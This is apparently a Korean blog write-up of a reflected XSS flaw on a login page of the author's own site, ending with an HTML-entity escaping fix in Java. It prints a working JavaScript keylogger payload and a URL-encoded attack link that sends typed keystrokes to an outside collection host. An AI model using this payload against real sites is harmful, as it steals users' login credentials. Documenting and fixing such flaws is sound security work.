1 분 소요

취약점 발견 위치

  • 직접 만든 사이트의 로그인 페이지에서 XSS 취약점을 발견하였다.
    Pasted image 20230530184238

취약점 유형

  • Reflected XSS 취약점.
  • POC 코드를 이용하여 alert 창이 출력되는 것을 확인하였다.
    Pasted image 20230530184503
    Pasted image 20230530184521

공격 시나리오

  1. 공격자가 키로거를 삽입한 로그인 링크를 만들어 사용자가 클릭하도록 유도한다.
  2. 사용자가 공격자가 전달한 링크를 통해 로그인을 시도한다면 사용자의 입력 정보가 그대로 공격자 서버로 전송된다.
  3. 공격자 서버에서 사용자가 입력한 정보를 그대로 확인할 수 있다.

공격 스크립트 작성

  • 키로거 공격 스크립트
<script>
var keys = "";
var hackURL = "공격자 서버 주소?v=";
window.onkeydown=(e)=>{
	key = e.keyCode?e.keyCode:e.charCode;
	key = String.fromCharCode(key);
	keys += key;
	console.log(e);
};
window.setInterval(function(){ 
	if(keys != '') { 
		new Image().src = hackURL+keys;
		keys='';
	} 
}, 1000);
</script>
  • 완성 공격 URL 인코딩 전
<script>var keys = "";var hackURL = "https://enpo6qk2njjal.x.pipedream.net/?v=";window.onkeydown=(e)=>{key=e.keyCode?e.keyCode:e.charCode;key=String.fromCharCode(key);keys +=key;console.log(e);};window.setInterval(function(){if(keys !=''){new Image().src = hackURL+keys;keys='';}},1000);</script>
  • URL 인코딩 후
http://221.27.0.6/sign_in_page?msg=%3cscript%3evar+keys+%3d+%22%22%3bvar+hackURL+%3d+%22https%3a%2f%2fenpo6qk2njjal.x.pipedream.net%2f%3fv%3d%22%3bwindow.onkeydown%3d(e)%3d%3e%7bkey%3de.keyCode%3fe.keyCode%3ae.charCode%3bkey%3dString.fromCharCode(key)%3bkeys+%2b%3dkey%3bconsole.log(e)%3b%7d%3bwindow.setInterval(function()%7bif(keys+!%3d%27%27)%7bnew+Image().src+%3d+hackURL%2bkeys%3bkeys%3d%27%27%3b%7d%7d%2c1000)%3b%3c%2fscript%3e

공격 결과

  • 키로거 스크립트가 동작중인 로그인 페이지
    Pasted image 20230530205933
  • 공격자 서버
    Pasted image 20230530210038
  • 사용자의 입력이 공격자의 서버로 잘 전송이된 것을 확인할 수 있다.

대응 방안

  • 로그인 페이징에서 찾은 Reflected XSS 취약점을 예방하기 위해서는 HTML 특수문자들을 HTML Entity 로 모두 치환해주면 된다.
  • 사용자의 입력을 그대로 페이지에 보여주는 것이아닌 HTML Entity로 치환하여 보여준다.
var msg = request.getParameter("msg");
// msg html 태그를 html entity로 치환하기.
msg = filter(msg);
  • 치환함수
// xss 방지
private String filter(String in){
	var re = in.replaceAll("[&]", "&amp;")
			.replaceAll("[<]", "&lt;")
			.replaceAll("[>]", "&gt;")
			.replaceAll("[']", "&#x27;")
			.replaceAll("[\"]", "&quot;")
			.replaceAll("[(]", "&#40;")
			.replaceAll("[)]", "&#41;")
			.replaceAll("[/]", "&#x2F;");
	return re;
}
  • 요청을 문자 그대로 인식하여 XSS를 예방한다.
    Pasted image 20230530212323

댓글남기기